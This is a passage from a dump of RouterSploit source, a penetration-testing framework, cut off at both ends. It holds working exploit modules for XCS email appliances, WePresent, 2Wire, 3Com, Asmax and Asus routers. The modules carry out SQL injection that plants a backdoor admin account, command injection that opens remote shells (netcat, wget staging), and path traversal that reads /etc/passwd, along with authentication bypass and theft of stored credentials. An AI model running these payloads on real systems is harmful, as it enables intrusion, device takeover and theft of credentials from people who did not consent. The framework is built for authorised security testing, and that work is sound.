  @mute\n    def check(self):\n        header = {\n            'cookie': \"sid=1'\",\n        }\n        response = self.http_request(\n            method='GET',\n            path='/borderpost/imp/compose.php3',\n            headers=header\n        )\n        if response and 'unterminated quoted string' in response.text:\n            return True  # target is vulnerable\n        return False  # target is not vulnerable\n\n    def attempt_login(self, username, pwd_clear):\n        # Attempts to login with the provided user credentials\n        # Get the login page\n        get_login_hash = self.http_request(\n            method=\"GET\",\n            path='/login.spl'\n        )\n\n        if not get_login_hash or not get_login_hash.context:\n            print_error('Could not get login page.')\n            return False\n\n        # Find the hash token needed to login\n        login_hash = ''\n        for line in get_login_hash.text.splitlines():\n            login_hash = re.findall('name=\"hash\" value=\"(.*)\"', line)\n            if login_hash:\n                login_hash = login_hash[0]\n                break\n            else:\n                login_hash = ''\n\n        sid_cookie = re.findall(r'sid=(\\w+);', get_login_hash.headers['cookie'] or '')[0] or ''\n        if login_hash == '' or sid_cookie == '':\n            print_error('Could not find login hash or cookie')\n            return False\n\n        login_post = {\n            'u': username,\n            'pwd': pwd_clear,\n            'hash': login_hash,\n            'login': 'Login'\n        }\n        print_status('Attempting to login with provided credentials')\n        login = self.http_request(\n            method='POST',\n            path='/login.spl?f=V',\n            headers={\n                'cookie': \"sid={sid_cookie}\".format(sid_cookie=sid_cookie)\n            },\n            data=login_post\n        )\n\n        if login and '<title>Loading...</title>' in login.text:\n            return sid_cookie\n\n        return False\n\n    def add_user(self, user_id, username, pwd_hash, pwd_clear):\n        # Adds a user to the database using the unauthed SQLi\n        cookie_str = \"sid=1%3BINSERT INTO sds_users (self, login, password, org, priv_level, quota, disk_usage) VALUES({user_id}, '{username}', '{pwd_hash}', 0, 'server_admin', 0, 0)--\"\n        response = self.http_request(\n            method='GET',\n            path='/borderpost/imp/compose.php3',\n            headers={\n                'cookie': cookie_str.format(user_id=user_id, username=username, pwd_hash=pwd_hash)\n            }\n        )\n\n        if not response or not response.text:\n            print_error(\"Could not connect to host\")\n            return False\n\n        if 'ERROR:  duplicate key value violates unique constraint' in response.text:\n            print_status(\"Added backdoor user, credentials => {username}:{pwd_clear}\".format(\n                username=username,\n                pwd_clear=pwd_clear\n            ))\n        else:\n            return False\n\n        return True\n\n    def generate_device_hash(self, cleartext_password):\n        # Generates the specific hashes needed for the XCS\n        pre_salt = b'BorderWare '\n        post_salt = b' some other random (9) stuff'\n        hash_tmp = hashlib.md5(pre_salt + cleartext_password.encode() + post_salt).hexdigest()\n        final_hash = hashlib.md5(cleartext_password.encode() + hash_tmp.encode()).hexdigest()\n        return final_hash\n\n    def send_cmd_exec(self, uri, os_cmd):\n        # This is a handler function that makes HTTP calls to exploit the command injection issue\n        if not self.sid:\n            print_error('Missing a session cookie when attempting to execute command.')\n            return False\n\n        header = {'cookie': \"sid={sid}\".format(sid=self.sid)}\n\n        response = self.http_request(\n            method='GET',\n            path='{uri}?f=dnld&id=;{os_cmd}'.format(uri=uri, os_cmd=os_cmd),\n            headers=header\n        )\n\n        return response\n\n    def get_session(self):\n        # Gets a valid login session, either valid creds or the SQLi vulnerability\n        username = self.watchguard_user\n        password = self.watchguard_password\n        user_id = randint(10, 999)\n\n        sid_cookie = self.attempt_login(username, password)\n        if sid_cookie:\n            return sid_cookie\n\n        print_error('Failed to login, attempting to add backdoor user...')\n        pwd_hash = self.generate_device_hash(password)\n\n        if not self.add_user(user_id, username, pwd_hash, password):\n            print_error('Failed to add user account to database.')\n            return False\n\n        sid_cookie = self.attempt_login(username, password)\n        if not sid_cookie:\n            print_error('Unable to login with user account.')\n            return False\n\n        return sid_cookie\n\n    # Make the server download the payload and run it\n    def execute(self, cmd):\n        print_status('Sending the payload to the server...')\n        print_status(\"Telling appliance to run {cmd}\".format(cmd=cmd))\n        response = self.send_cmd_exec('/ADMIN/mailqueue.spl', cmd)\n        if response:\n            return \"\"\n        return False\n"
  },
  {
    "path": "routersploit/modules/exploits/misc/wepresent/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/misc/wepresent/wipg1000_rce.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"WePresent WiPG-1000 RCE\",\n        \"description\": \"Module exploits WePresent WiPG-1000 Command Injection vulnerability which allows \"\n                       \"executing commands on operating system level.\",\n        \"authors\": (\n            \"Matthias Brun\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.redguard.ch/advisories/wepresent-wipg1000.txt\",\n        ),\n        \"devices\": (\n            \"WePresent WiPG-1000 <=2.0.0.7\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target seems to be vulnerable\")\n            print_status(\"This is blind command injection, response is not available\")\n            shell(self, architecture=\"mipsbe\", binary=\"netcat\", shell=\"/bin/sh\")\n        else:\n            print_error(\"Exploit failed - exploit seems to be not vulnerable\")\n\n    def execute(self, cmd):\n        payload = \";{};\".format(cmd)\n\n        data = {\n            \"Client\": payload,\n            \"Download\": \"Download\"\n        }\n\n        self.http_request(\n            method=\"POST\",\n            path=\"/cgi-bin/rdfs.cgi\",\n            data=data\n        )\n\n        return \"\"\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/cgi-bin/rdfs.cgi\"\n        )\n\n        if response is not None and \"Follow administrator instructions to enter the complete path\" in response.text:\n            return True  # target vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/2wire/4011g_5012nv_path_traversal.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"2Wire 4011G & 5012NV Path Traversal\",\n        \"description\": \"Module exploits path traversal vulnerability in 2Wire 4011G and 5012NV devices. \"\n                       \"If the target is vulnerable it is possible to read file from the filesystem.\",\n        \"authors\": (\n            \"adiaz\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.underground.org.mx/index.php?topic=28616.0\",\n        ),\n        \"devices\": (\n            \"2Wire 4011G\",\n            \"2Wire 5012NV\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address: 192.168.1.1\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    filename = OptString(\"/etc/passwd\", \"File to read from the filesystem\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n\n            print_status(\"Sending read {} file request\".format(self.filename))\n\n            headers = {\"Content-Type\": \"application/x-www-form-urlencoded\"}\n            data = {\n                \"__ENH_SHOW_REDIRECT_PATH__\": \"/pages/C_4_0.asp/../../..{}\".format(self.filename),\n                \"__ENH_SUBMIT_VALUE_SHOW__\": \"Acceder\",\n                \"__ENH_ERROR_REDIRECT_PATH__\": \"\",\n                \"username\": \"tech\"\n            }\n\n            response = self.http_request(\n                method=\"POST\",\n                path=\"/goform/enhAuthHandler\",\n                headers=headers,\n                data=data,\n            )\n\n            if response is None:\n                return\n\n            print_status(\"Reading file {}\".format(self.filename))\n            print_info(response.text)\n        else:\n            print_error(\"Target seems to be not vulnerable\")\n\n    @mute\n    def check(self):\n        headers = {\"Content-Type\": \"application/x-www-form-urlencoded\"}\n        data = {\n            \"__ENH_SHOW_REDIRECT_PATH__\": \"/pages/C_4_0.asp/../../../etc/passwd\",\n            \"__ENH_SUBMIT_VALUE_SHOW__\": \"Acceder\",\n            \"__ENH_ERROR_REDIRECT_PATH__\": \"\",\n            \"username\": \"tech\"\n        }\n        response = self.http_request(\n            method=\"POST\",\n            path=\"/goform/enhAuthHandler\",\n            headers=headers,\n            data=data,\n        )\n\n        if response and utils.detect_file_content(response.text, \"/etc/passwd\"):\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/2wire/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/routers/2wire/gateway_auth_bypass.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"2Wire Gateway Auth Bypass\",\n        \"description\": \"Module exploits 2Wire Gateway authentication bypass vulnerability. \"\n                       \"If the target is vulnerable link to bypass authentication is provided.\",\n        \"authors\": (\n            \"bugz\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/9459/\",\n        ),\n        \"devices\": (\n            \"2Wire 2701HGV-W\",\n            \"2Wire 3800HGV-B\",\n            \"2Wire 3801HGV\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address: 192.168.1.1\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n            print_info(\"\\nUse your browser:\")\n            print_info(\"{}:{}/xslt\".format(self.target, self.port))\n        else:\n            print_error(\"Target seems to be not vulnerable\")\n\n    @mute\n    def check(self):\n        mark = '<form name=\"pagepost\" method=\"post\" action=\"/xslt?PAGE=WRA01_POST&amp;NEXTPAGE=WRA01_POST\" id=\"pagepost\">'\n\n        # checking if the target is valid\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/\",\n        )\n        if response is None:\n            return False  # target is not vulnerable\n\n        if mark not in response.text:\n            return False  # target is not vulnerable\n\n        # checking if authentication can be bypassed\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/xslt\",\n        )\n\n        if response is None:\n            return False  # target is not vulnerable\n\n        if mark not in response.text:\n            return True  # target vulnerable\n\n        return False  # target not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/3com/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/routers/3com/ap8760_password_disclosure.py",
    "content": "import re\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"3Com AP8760 Password Disclosure\",\n        \"description\": \"Exploits 3Com AP8760 password disclosure vulnerability.\"\n                       \"If the target is vulnerable it is possible to fetch credentials for administration user.\",\n        \"authors\": (\n            \"Richard Brain\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"http://www.procheckup.com/procheckup-labs/pr07-40/\",\n        ),\n        \"devices\": (\n            \"3Com AP8760\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        creds = []\n\n        print_status(\"Sending payload request\")\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/s_brief.htm\",\n        )\n\n        if response is None:\n            return\n\n        print_status(\"Extracting credentials\")\n        username = re.findall('<input type=\"text\" name=\"szUsername\" size=16 value=\"(.+?)\">', response.text)\n        password = re.findall('<input type=\"password\" name=\"szPassword\" size=16 maxlength=\"16\" value=\"(.+?)\">', response.text)\n\n        if len(username) and len(password):\n            print_success(\"Exploit success\")\n            creds.append((username[0], password[0]))\n            print_table((\"Login\", \"Password\"), *creds)\n        else:\n            print_error(\"Exploit failed - could not extract credentials\")\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/s_brief.htm\",\n        )\n        if response is None:\n            return False  # target is not vulnerable\n\n        if \"szUsername\" in response.text and \"szPassword\" in response.text:\n            return True  # target is vulnerable\n\n        return False  # target not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/3com/imc_info_disclosure.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"3Com IMC Info Disclosure\",\n        \"description\": \"Exploits 3Com Intelligent Management Center information disclosure vulnerability that allows to fetch credentials for SQL sa account\",\n        \"authors\": (\n            \"Richard Brain\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/12680/\",\n        ),\n        \"devices\": (\n            \"3Com Intelligent Management Center\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(8080, \"Target HTTP port\")\n\n    def __init__(self):\n        self.paths = [\n            \"/imc/reportscript/sqlserver/deploypara.properties\",\n            \"/rpt/reportscript/sqlserver/deploypara.properties\",\n            \"/imc/reportscript/oracle/deploypara.properties\"\n        ]\n\n        self.valid = None\n\n    def run(self):\n        if self.check():\n            print_success(\"Target seems to be vulnerable\")\n\n            print_status(\"Sending request to download sensitive information\")\n            response = self.http_request(\n                method=\"GET\",\n                path=self.valid,\n            )\n\n            if response is None:\n                return\n\n            if response.status_code == 200 and len(response.text):\n                print_status(\"Reading {}\".format(self.valid))\n                print_info(response.text)\n            else:\n                print_error(\"Exploit failed - could not retrieve response\")\n\n        else:\n            print_error(\"Exploit failed - target seems to be not vulnerable\")\n\n    @mute\n    def check(self):\n        for path in self.paths:\n            response = self.http_request(\n                method=\"GET\",\n                path=path,\n            )\n            if response is None:\n                continue\n\n            if any(map(lambda x: x in response.text, [\"report.db.server.name\", \"report.db.server.sa.pass\", \"report.db.server.user.pass\"])):\n                self.valid = path\n                return True  # target is vulnerable\n\n        return False  # target not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/3com/imc_path_traversal.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"3Com IMC Path Traversal\",\n        \"description\": \"Exploits 3Com Intelligent Management Center path traversal vulnerability. \"\n                       \"If the target is vulnerable it is possible to read file from the filesystem.\",\n        \"authors\": (\n            \"Richard Brain\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/12679/\",\n        ),\n        \"devices\": (\n            \"3Com Intelligent Management Center\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(8080, \"Target HTTP port\")\n\n    filename = OptString(\"\\\\windows\\\\win.ini\", \"File to read from the filesystem\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target seems to be vulnerable\")\n\n            print_status(\"Sending paylaod request\")\n\n            path = \"/imc/report/DownloadReportSource?dirType=webapp&fileDir=reports&fileName=reportParaExample.xml..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..{}\".format(self.filename)\n            response = self.http_request(\n                method=\"GET\",\n                path=path,\n            )\n\n            if response is None:\n                return\n\n            if response.status_code == 200 and len(response.text):\n                print_success(\"Exploit success - reading {} file\".format(self.filename))\n                print_info(response.text)\n        else:\n            print_error(\"Exploit failed - target seems to be not vulnerable\")\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/imc/report/DownloadReportSource?dirType=webapp&fileDir=reports&fileName=reportParaExample.xml..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\windows\\\\win.ini\",\n        )\n\n        if response is None:\n            return False  # target is not vulnerable\n\n        if response.status_code == 200 and \"[fonts]\" in response.text:\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/3com/officeconnect_info_disclosure.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"3Com OfficeConnect Info Disclosure\",\n        \"description\": \"Exploits 3Com OfficeConnect information disclosure vulnerability. \"\n                       \"If the target is vulnerable it is possible to read sensitive information.\",\n        \"authors\": (\n            \"Luca Carettoni <luca.carettoni[at]ikkisoft.com>\",  # vulnerablity discovery\n            \"iDefense\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"http://old.sebug.net/paper/Exploits-Archives/2009-exploits/0902-exploits/LC-2008-05.txt\",\n            \"http://seclists.org/vulnwatch/2005/q1/42\",\n        ),\n        \"devices\": (\n            \"3Com OfficeConnect\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def __init__(self):\n        self.paths = [\n            \"/SaveCfgFile.cgi\",\n            \"/main/config.bin\",\n            \"/main/profile.wlp?PN=ggg\",\n            \"/main/event.logs\"\n        ]\n\n        self.valid = None\n\n    def run(self):\n        if self.check():\n            print_status(\"Sending payload request\")\n            response = self.http_request(\n                method=\"GET\",\n                path=self.valid,\n            )\n\n            if response is None:\n                return\n\n            if response.status_code == 200 and len(response.text):\n                print_success(\"Exploit success\")\n                print_info(response.text)\n        else:\n            print_error(\"Exploit failed - target seems to be not vulnerable\")\n\n    @mute\n    def check(self):\n        for path in self.paths:\n            response = self.http_request(\n                method=\"GET\",\n                path=path\n            )\n\n            if response is None:\n                return False  # target is not vulnerable\n\n            if \"pppoe_username\" in response.text and \"pppoe_password\" in response.text:\n                self.valid = path\n                return True  # target is vulnerable\n\n        return False  # target not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/3com/officeconnect_rce.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"3Com OfficeConnect RCE\",\n        \"description\": \"Module exploits 3Com OfficeConnect remote command execution \"\n                       \"vulnerability which allows executing command on operating system level.\",\n        \"authors\": (\n            \"Andrea Fabizi\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/9862/\",\n        ),\n        \"devices\": (\n            \"3Com OfficeConnect\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        response1 = self.http_request(\n            method=\"GET\",\n            path=\"/utility.cgi?testType=1&IP=aaa\",\n        )\n\n        if response1 and response1.status_code == 200:\n            path = \"/{}.cgi\".format(utils.random_text(32))\n\n            response2 = self.http_request(\n                method=\"GET\",\n                path=path,\n            )\n\n            if not response2 or response1.text != response2.text:\n                print_success(\"Target appears to be vulnerable\")\n                print_status(\"Invoking command loop...\")\n                print_status(\"It is blind command injection - response is not available\")\n                shell(self, architecture=\"mipsbe\")\n            else:\n                print_error(\"Exploit failed - target does not seem to be vulnerable\")\n        else:\n            print_error(\"Exploit failed - target does not seem to be vulnerable\")\n\n    def execute(self, cmd):\n        path = \"/utility.cgi?testType=1&IP=aaa || {}\".format(cmd)\n\n        self.http_request(\n            method=\"GET\",\n            path=path,\n        )\n        return \"\"\n\n    @mute\n    def check(self):\n        return None  # there is no reliable way to check if target is vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/routers/asmax/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/routers/asmax/ar_1004g_password_disclosure.py",
    "content": "import re\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Asmax AR1004G Password Disclosure\",\n        \"description\": \"Exploits Asmax AR1004G Password Disclosure vulnerability that allows to \"\n                       \"fetch credentials for: Admin, Support and User accounts.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://github.com/lucyoa/exploits/blob/master/asmax/asmax.txt\",\n        ),\n        \"devices\": (\n            \"Asmax AR 1004g\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        creds = []\n\n        print_status(\"Requesting {}\".format(self.get_target_url()))\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/password.cgi\",\n        )\n        if response is None:\n            print_error(\"Exploit failed - empty response\")\n            return\n\n        tokens = [\n            (\"admin\", r\"pwdAdmin = '(.+?)'\"),\n            (\"support\", r\"pwdSupport = '(.+?)'\"),\n            (\"user\", r\"pwdUser = '(.+?)'\")\n        ]\n\n        print_status(\"Trying to extract credentials\")\n        for token in tokens:\n            res = re.findall(token[1], response.text)\n            if res:\n                creds.append((token[0], res[0]))\n\n        if creds:\n            print_success(\"Credentials found\")\n            print_table((\"Login\", \"Password\"), *creds)\n        else:\n            print_error(\"Exploit failed - credentials could not be found\")\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/password.cgi\"\n        )\n\n        if response is None:\n            return False  # target is not vulnerable\n\n        if any(map(lambda x: x in response.text, [\"pwdSupport\", \"pwdUser\", \"pwdAdmin\"])):\n            return True  # target vulnerable\n\n        return False  # target not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/asmax/ar_804_gu_rce.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Asmax AR 804 RCE\",\n        \"description\": \"Module exploits Asmax AR 804 Remote Code Execution vulnerability which \"\n                       \"allows executing command on operating system level with root privileges.\",\n        \"authors\": (\n            \"Michal Sajdak <michal.sajdak[at]securitum.com>\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"http://www.securitum.pl/dh/asmax-ar-804-gu-compromise\",\n            \"https://www.exploit-db.com/exploits/8846/\",\n        ),\n        \"devices\": (\n            \"Asmax AR 804 gu\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        print_status(\"Checking if target is vulnerable\")\n\n        if self.check():\n            print_success(\"Target is vulnerable\")\n            print_status(\"Invoking command loop...\")\n            shell(self, architecture=\"mipsbe\")\n        else:\n            print_error(\"Exploit failed - target seems to be not vulnerable\")\n\n    def execute(self, cmd):\n        path = \"/cgi-bin/script?system%20{}\".format(cmd)\n\n        response = self.http_request(\n            method=\"GET\",\n            path=path,\n        )\n        if response is None:\n            return \"\"\n\n        return response.text\n\n    @mute\n    def check(self):\n        cmd = \"cat /etc/passwd\"\n        path = \"/cgi-bin/script?system%20{}\".format(cmd)\n\n        response = self.http_request(\n            method=\"GET\",\n            path=path,\n        )\n        if response is None:\n            return False  # target is not vulnerable\n\n        if response.status_code == 200 and utils.detect_file_content(response.text, \"/etc/passwd\"):\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/asus/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/routers/asus/asuswrt_lan_rce.py",
    "content": "from struct import pack, unpack\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\nfrom routersploit.core.udp.udp_client import UDPClient\n\n\nclass Exploit(HTTPClient, UDPClient):\n    __info__ = {\n        \"name\": \"AsusWRT Lan RCE\",\n        \"description\": \"Module exploits multiple vulnerabilities to achieve remote code execution in AsusWRT firmware. \"\n                       \"The HTTP server contains vulnerability that allows bypass authentication via POST requests. \"\n                       \"Combining this with another vulnerability in the VPN configuration upload functionality allows \"\n                       \"setting NVRAM configuration variables directly from the POST request. By setting nvram variable \"\n                       \"ateCommand_flag to 1 it is possible to enable special command mode which allows executing commands \"\n                       \"via infosvr server listening on port UDP 9999. Module was tested on Asus RT-AC68U 3.0.0.4.380_7378.\",\n        \"authors\": (\n            \"Pedro Ribeiro <pedrib@gmail.com>\",  # vulnerability discovery and metasploit module\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://nvd.nist.gov/vuln/detail/CVE-2018-5999\",\n            \"https://nvd.nist.gov/vuln/detail/CVE-2018-6000\",\n            \"https://blogs.securiteam.com/index.php/archives/3589\",\n            \"https://raw.githubusercontent.com/pedrib/PoC/master/advisories/asuswrt-lan-rce.txt\",\n            \"http://seclists.org/fulldisclosure/2018/Jan/78\",\n        ),\n        \"devices\": (\n            \"AsusWRT < v3.0.0.4.384.10007\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    infosvr_port = OptPort(9999, \"Target InfoSVR Port\")\n\n    def run(self):\n        response = self.http_request(\n            method=\"POST\",\n            path=\"/vpnupload.cgi\",\n            files={\"ateCommand_flag\": \"1\"},\n        )\n\n        if response and response.status_code == 200:\n            print_success(\"Successfuly set ateCommand_flag variable\")\n        else:\n            print_error(\"Failed to set ateCommand_flag variable\")\n            return\n\n        shell(self, architecture=\"armle\", method=\"wget\", location=\"/tmp\")\n\n    def execute(self, cmd):\n        ibox_comm_pkt_hdr_ex = (\n            pack(\"<B\", 0x0c) +                      # NET_SERVICE_ID_IBOX_INFO 0xC\n            pack(\"<B\", 0x15) +                      # NET_PACKET_TYPE_CMD 0x15\n            pack(\"<H\", 0x33) +                      # NET_CMD_ID_MANU_CMD 0x33\n            bytes(utils.random_text(4), \"utf-8\") +  # INFO\n            bytes(utils.random_text(6), \"utf-8\") +  # MAC Address\n            bytes(utils.random_text(32), \"utf-8\")   # Password\n        )\n\n        cmd = bytes(cmd, \"utf-8\") + pack(\"<B\", 0x00)\n        pkt_syscmd = (\n            pack(\"<H\", len(cmd)) +\n            cmd\n        )\n\n        payload = ibox_comm_pkt_hdr_ex + pkt_syscmd + bytes(utils.random_text(512 - len(ibox_comm_pkt_hdr_ex + pkt_syscmd)), \"utf-8\")\n\n        udp_client = self.udp_create(port=self.infosvr_port)\n        udp_client.send(payload)\n        response = udp_client.recv(512)\n        udp_client.close()\n\n        if response and len(response) == 512:\n            length = unpack('<H', response[14:16])[0]\n            return str(response[16: 16 + length], \"utf-8\")\n\n        return \"\"\n\n    @mute\n    def check(self):\n        return None\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/asus/infosvr_backdoor_rce.py",
    "content": "from struct import pack, unpack\nfrom routersploit.core.exploit import *\nfrom routersploit.core.udp.udp_client import UDPClient\n\n\nclass Exploit(UDPClient):\n    __info__ = {\n        \"name\": \"Asus Infosvr Backdoor RCE\",\n        \"description\": \"Module exploits remote command execution in multiple ASUS devices. If the target is \"\n                       \"vulnerable, command loop is invoked that allows executing commands on operating system level.\",\n        \"authors\": (\n            \"Joshua 'jduck' Drake; @jduck\",  # vulnerability discovery\n            \"Friedrich Postelstorfer\",  # original Python exploit\n            \"Michal Bentkowski; @SecurityMB\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://github.com/jduck/asus-cmd\",\n        ),\n        \"devices\": (\n            \"ASUS RT-N66U\",\n            \"ASUS RT-AC87U\",\n            \"ASUS RT-N56U\",\n            \"ASUS RT-AC68U\",\n            \"ASUS DSL-N55U\",\n            \"ASUS DSL-AC68U\",\n            \"ASUS RT-AC66R\",\n            \"ASUS RT-AC66R\",\n            \"ASUS RT-AC55U\",\n            \"ASUS RT-N12HP_B1\",\n            \"ASUS RT-N16\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(9999, \"Target UDP port\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n            print_status(\"Invoking command loop...\")\n            print_status(\"Please note that only first 256 characters of the \"\n                         \"output will be displayed or use reverse_tcp\")\n            shell(self, architecture=\"armle\", method=\"wget\", location=\"/tmp\")\n        else:\n            print_error(\"Target is not vulnerable\")\n\n    def execute(self, cmd):\n        if len(cmd) > 237:\n            print_error('Your command must be at most 237 characters long. Longer strings might crash the server.')\n            return\n\n        ibox_comm_pkt_hdr_ex = (\n            pack(\"<B\", 0x0c) +                      # NET_SERVICE_ID_IBOX_INFO 0xC\n            pack(\"<B\", 0x15) +                      # NET_PACKET_TYPE_CMD 0x15\n            pack(\"<H\", 0x33) +                      # NET_CMD_ID_MANU_CMD 0x33\n            bytes(utils.random_text(4), \"utf-8\") +  # INFO\n            bytes(utils.random_text(6), \"utf-8\") +  # MAC Address\n            bytes(utils.random_text(32), \"utf-8\")   # Password\n        )\n\n        cmd = bytes(cmd, \"utf-8\") + pack(\"<B\", 0x00)\n        pkt_syscmd = (\n            pack(\"<H\", len(cmd)) +\n            cmd\n        )\n\n        payload = ibox_comm_pkt_hdr_ex + pkt_syscmd + bytes(utils.random_text(512 - len(ibox_comm_pkt_hdr_ex + pkt_syscmd)), \"utf-8\")\n\n        udp_client = self.udp_create()\n        udp_client.send(payload)\n        response = udp_client.recv(512)\n        udp_client.close()\n\n        if response and len(response) == 512:\n            length = unpack('<H', response[14:16])[0]\n            return str(response[16: 16 + length], \"utf-8\")\n\n        return \"\"\n\n    @mute\n    def check(self):\n        NUM_CHECKS = 5  # we try 5 times because the exploit tends to be unstable\n\n        for _ in range(NUM_CHECKS):\n            random_value = utils.random_text(32)\n            cmd = \"echo {}\".format(random_value)\n            retval = self.execute(cmd)\n\n            if random_value in retval:\n                return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/asus/rt_n16_password_disclosure.py",
